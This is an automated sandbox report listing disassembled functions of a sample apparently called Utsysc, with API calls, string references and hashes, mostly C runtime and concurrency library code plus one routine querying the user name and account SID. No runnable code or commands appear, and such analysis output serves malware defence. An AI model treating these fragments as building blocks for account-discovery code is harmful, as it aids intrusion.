Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 01e1deb293b4855a3e6ea102d6bcad8486ee49fb3d0f21b5d85d9b14d2124ffb
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 4D11A73310098D9BDB55DF2BD441ABB73A59F0236CF24A169E806AF252DB71DD05CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED0C0E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00ED0BAB,00000064), ref: 00ED0C31
LeaveCriticalSection.KERNEL32(00F19790,00F1A6C8,?,00ED0BAB,00000064,?,74DF0F00,?,00EB6EED,00F1A6C8), ref: 00ED0C3B
WaitForSingleObjectEx.KERNEL32(00F1A6C8,00000000,?,00ED0BAB,00000064,?,74DF0F00,?,00EB6EED,00F1A6C8), ref: 00ED0C4C
EnterCriticalSection.KERNEL32(00F19790,?,00ED0BAB,00000064,?,74DF0F00,?,00EB6EED,00F1A6C8), ref: 00ED0C53

Strings

3, xrefs: 00ED0C2B

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: 3
API String ID: 3269011525-3930663615
Opcode ID: f5305e6d286914ea1cc3aba631bab138ada33d5aba8188afc7fb91f5be07bbd3
Instruction ID: 241b25c8665a7d6aeab3d9cd459443f236b8d4a9e2154222d9ba51c7a08d31c5
Opcode Fuzzy Hash: f5305e6d286914ea1cc3aba631bab138ada33d5aba8188afc7fb91f5be07bbd3
Instruction Fuzzy Hash: 8AE0123196522CBBCB025F91FC28BC97F24FF45B61B094011FA09A61A0C7A16881BBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00EB6080 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00EB60DA
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00EB6120
GetSidIdentifierAuthority.ADVAPI32(?), ref: 00EB612D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00EB6241
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 00EB6268

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Authority$Name$AccountCountIdentifierLookupUser
String ID:
API String ID: 4230999276-0
Opcode ID: 59390cfc7e03a403f984f135ab5dc7688eee22f0eaa691bc9e06b4c95ef03b24
Instruction ID: 4eea5a68882a0666c5d0b28cd800d8bf75ba5ff3cca47a97e3201bf053e65de9
Opcode Fuzzy Hash: 59390cfc7e03a403f984f135ab5dc7688eee22f0eaa691bc9e06b4c95ef03b24
Instruction Fuzzy Hash: B391E4B190011C9BDB28DF28CC85BDEB7B9EB45304F4455EDE219A7292DB349BC48FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00EEA910 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00EEA932
GetFileInformationByHandle.KERNEL32(?,?), ref: 00EEA98C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00EEA842,?,000000FF), ref: 00EEAA1A
__dosmaperr.LIBCMT ref: 00EEAA21
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00EEAA5E

Part of subcall function 00EEAC86: __dosmaperr.LIBCMT ref: 00EEACBB

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: b8056a704fa404a0a557e208e75fc3bff4c948f019326c7b27fc44b8b62acf16
Instruction ID: fc692e67fb93a3607d25a4fde12e63e1bfa236d98936bb087045e5d10402546b
Opcode Fuzzy Hash: b8056a704fa404a0a557e208e75fc3bff4c948f019326c7b27fc44b8b62acf16
Instruction Fuzzy Hash: 274140B5900348AFDB24DFA6DD459AFBBF9EF88300B14593DF55AE3211D630A940DB21

Uniqueness

Uniqueness Score: -1.00%

Function 00EDD706 Relevance: 7.6, APIs: 5, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00EDD70D
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00EDD759
std::bad_exception::bad_exception.LIBCMT ref: 00EDD76F
Concurrency::SchedulerPolicy::_ResolvePolicyValues.LIBCONCRT ref: 00EDD7B1
std::bad_exception::bad_exception.LIBCMT ref: 00EDD7DB

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::PolicyPolicy::_Schedulerstd::bad_exception::bad_exception$H_prolog3_catchResolveValidValueValues
String ID:
API String ID: 921398678-0
Opcode ID: 466b50b5a3c77e22728a2293c9f1c3cd8105ae53f7b0ae4f39288551e4df872f
Instruction ID: 4c7cfe5de8a3c64df1b66446e61612c9db67422df7a8e45e001f477bf99c6b6a
Opcode Fuzzy Hash: 466b50b5a3c77e22728a2293c9f1c3cd8105ae53f7b0ae4f39288551e4df872f
Instruction Fuzzy Hash: 1F218E759082189FDB09EFA4D8829ADB7F8EF05310B1060ABF015BB351EB71AE47DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EF290B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF2923

Part of subcall function 00EEE175: HeapFree.KERNEL32(00000000,00000000,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?), ref: 00EEE18B
Part of subcall function 00EEE175: GetLastError.KERNEL32(?,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?,?), ref: 00EEE19D

_free.LIBCMT ref: 00EF2935
_free.LIBCMT ref: 00EF2947
_free.LIBCMT ref: 00EF2959
_free.LIBCMT ref: 00EF296B

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5bd530dac87d9d9b28a763594d10eeda5ca1486ca0365d32fb99b996a7e9edcf
Instruction ID: 1417ecb06229fa1c3c1b88f9ae3b6c46da10e07f30235f8c127dd901992e10a2
Opcode Fuzzy Hash: 5bd530dac87d9d9b28a763594d10eeda5ca1486ca0365d32fb99b996a7e9edcf
Instruction Fuzzy Hash: C8F0963250564CB7CA21DB69E582C6673E9EB81B28B65680DF648F7660CF70FCC08660

Uniqueness

Uniqueness Score: -1.00%

Function 00EF84E4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 00EF869A

Part of subcall function 00EEE3CB: HeapAlloc.KERNEL32(00000000,?,?,?,00EF1DBE,00000220,?,?,?,?,?,?,00EEAFBD,?), ref: 00EEE3FD

__freea.LIBCMT ref: 00EF86A3
__freea.LIBCMT ref: 00EF86C6

Strings

+ , xrefs: 00EF84F6

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID: +
API String ID: 85559729-2754784493
Opcode ID: 692136af8e8e7c0086ff4515003779d5f80c4ae4cb81ad8edbf814fe35fe8957
Instruction ID: 40bf2b0ea102ef93220a28109240961c4793a0b13260b16f24092a90a15d2eda
Opcode Fuzzy Hash: 692136af8e8e7c0086ff4515003779d5f80c4ae4cb81ad8edbf814fe35fe8957
Instruction Fuzzy Hash: 1251CF7250021EABEF209F658D41EBB37A9EF44758F2A1129FF04FB240EB74DC1096A1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE90CB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00EE90F0
CatchIt.LIBVCRUNTIME ref: 00EE91D6

Strings

RCC, xrefs: 00EE910A
MOC, xrefs: 00EE9102

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: a4ab6dee99373b31abff952cf877bd42445c905f2998ef94722d2b9c98b443c8
Instruction ID: df7840f7d77fcde96ac189e5c794d0cebc13a953c262320bb05f00a11f62ada2
Opcode Fuzzy Hash: a4ab6dee99373b31abff952cf877bd42445c905f2998ef94722d2b9c98b443c8
Instruction Fuzzy Hash: 4B41887190124EAFCF15CF99CD85AAEBBF5BF48304F169098FA0876222D2359950CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00ED225A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

Concurrency::details::DeleteAsyncTimerAndUnloadLibrary.LIBCMT ref: 00ED229C
Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00ED22A4

Part of subcall function 00ED1FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00ED1FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 00ED22AF

Part of subcall function 00ED363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00ED1F81,00000000,?,00000000), ref: 00ED364A
Part of subcall function 00ED363A: GetLastError.KERNEL32(?,00ED1F81,00000000,?,00000000), ref: 00ED3654

Strings

3, xrefs: 00ED22FE

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Delete$Concurrency::details::$AsyncConcurrency::details::platform::__CreateErrorLastLibrarySharedUnload
String ID: 3
API String ID: 1964632990-3930663615
Opcode ID: f323e63b7e1a2ff538499808dc3663354f34a24f55d7c7c84356a5fb48bc313e
Instruction ID: 5338088975d47024f9da1b6681e7fffa09e58f4c029eef663dbde2097157e34e
Opcode Fuzzy Hash: f323e63b7e1a2ff538499808dc3663354f34a24f55d7c7c84356a5fb48bc313e
Instruction Fuzzy Hash: 7321D2316007009FCB25DF64C885A2A73E5EF61725B14592FFA56EB360CB34ED42DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE5172 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00EE51D2
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE521D

Strings

3, xrefs: 00EE518F, 00EE51AC
pContext, xrefs: 00EE5215

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: 3$pContext
API String ID: 3390424672-3169799313
Opcode ID: 10e53ce14372584a3820e709453b2a0d9b860ddec481fed31edbf8e47b76ec36
Instruction ID: 26423ca97aa7ce2bbd5f30b0513a7a25510eeaf2d7925d12f940e22ad6a4604f
Opcode Fuzzy Hash: 10e53ce14372584a3820e709453b2a0d9b860ddec481fed31edbf8e47b76ec36
Instruction Fuzzy Hash: 9E112437A00A589BCB19AF69C88066D77B5AF84328F055069ED02BB382CB70ED058BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00ED06A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

InitOnceExecuteOnce.KERNELBASE(?,00ECF962,?,?), ref: 00ED06C3
SetLastError.KERNEL32(0000000D,?,00000000,?,00ECF962,?,?,?,00000000,?,00ECEE51,00F193A0,00ECE535,00F193A8,4F1E7031), ref: 00ED0721

Strings

3, xrefs: 00ED06BD, 00ED0707

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Once$ErrorExecuteInitLast
String ID: 3
API String ID: 3407056439-3930663615
Opcode ID: 379e6c54dd1d0db195f3f2e7008abd9977d8b81d908239a39853386d9472a079
Instruction ID: 2e82965cd377c0f0dba36ca8d759244bf1d5ca172e865f9552708d48bb6e2c45
Opcode Fuzzy Hash: 379e6c54dd1d0db195f3f2e7008abd9977d8b81d908239a39853386d9472a079
Instruction Fuzzy Hash: 0C11083134012AAFCF225F60DC446AEBB65FF88714F04503AFA26A6750CB70EC229BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF8817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00EF8882
_free.LIBCMT ref: 00EF8891
_free.LIBCMT ref: 00EF88A0

Strings

Y%, xrefs: 00EF886C

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable
String ID: Y%
API String ID: 1464849758-285142896
Opcode ID: ef500a1cccfe560074d6ada671dfd8b0674c2abe5e2f617ef5490a8c0c38b600
Instruction ID: bb48b7c3caba1d2a2614b5fbbab20a22aa95486450cbec3484728b9ca630c9b6
Opcode Fuzzy Hash: ef500a1cccfe560074d6ada671dfd8b0674c2abe5e2f617ef5490a8c0c38b600
Instruction Fuzzy Hash: 8D113DB1C0125CAADB01AFAADD816EEFFB8BF08354F98507EE504B2251D7305A44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE6BFC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingRing::GetPseudoRRNonAffineScheduleGroupSegment.LIBCMT ref: 00EE6C0E

Part of subcall function 00EE5C24: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00EE5C41
Part of subcall function 00EE5C24: Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00EE5C56

Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00EE6C41
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00EE6C6C

Strings

3, xrefs: 00EE6C24

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GroupRing::ScheduleSchedulingSegment$FindWork$AffineItemItem::NextPseudo
String ID: 3
API String ID: 2684344702-3930663615
Opcode ID: e54e8aae02541dce918f3c5412fe9568b04cd6d892c664e89858ff4fae37f265
Instruction ID: 59f32edb8f5a5439fe0a41024fed41713f3662649924d51e752aa42618bd603a
Opcode Fuzzy Hash: e54e8aae02541dce918f3c5412fe9568b04cd6d892c664e89858ff4fae37f265
Instruction Fuzzy Hash: F501DB3660061CABCF05DF55C4808EEB7F9EF89354B201065EC45BB301DA30EE059760

Uniqueness

Uniqueness Score: -1.00%

Function 00EDDB5F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00EDDB73
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00EDDB97
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDDBAA

Strings

pScheduler, xrefs: 00EDDBA2

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 0f686fdd8edf48dbc4763eb18701b63ed6cab745e578e1ac79237872f967dcac
Instruction ID: be449aa0e377c9a9633481bcd7a13d07db474b865992c9b45347324299c6e01b
Opcode Fuzzy Hash: 0f686fdd8edf48dbc4763eb18701b63ed6cab745e578e1ac79237872f967dcac
Instruction Fuzzy Hash: 8BF0B43590460467C720FB54DC42C9EB3B9DE90B28711956FE55237381DB70ED07C692

Uniqueness

Uniqueness Score: -1.00%

Function 00EDF39D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00EDF3BF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDF3D2

Strings

3, xrefs: 00EDF3B3
pContext, xrefs: 00EDF3CA

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: 3$pContext
API String ID: 548886458-3169799313
Opcode ID: ce8b0a6815d5277afd1c8dd67fce32944c6a8e900c5b5c1d6ecec815d3accbf8
Instruction ID: 16fae5945e8ebe841db0758c5b13021da2914b00296dde46dd9a8ec6612be97a
Opcode Fuzzy Hash: ce8b0a6815d5277afd1c8dd67fce32944c6a8e900c5b5c1d6ecec815d3accbf8
Instruction Fuzzy Hash: 90E02236B0020867CB00B765DC29C9EB7BAAE80B10701102AEA02B3291DBB0EE0996D1

Uniqueness

Uniqueness Score: -1.00%

Function 00EF03C1 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EF0448

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
